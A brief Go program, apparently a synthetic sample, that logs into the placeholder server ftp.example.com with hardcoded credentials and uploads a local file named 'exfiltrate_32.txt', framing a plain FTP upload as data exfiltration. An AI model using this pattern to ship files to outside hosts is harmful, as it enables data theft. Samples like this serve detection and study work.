
package main

import (
    "github.com/jlaffaye/ftp"
    "os"
)

func main() {
    conn, _ := ftp.Dial("ftp.example.com:21")
    conn.Login("user417", "pass1773")
    file, _ := os.Open("exfiltrate_32.txt")
    conn.Stor("exfiltrate_32.txt", file)
    file.Close()
    conn.Quit()
}
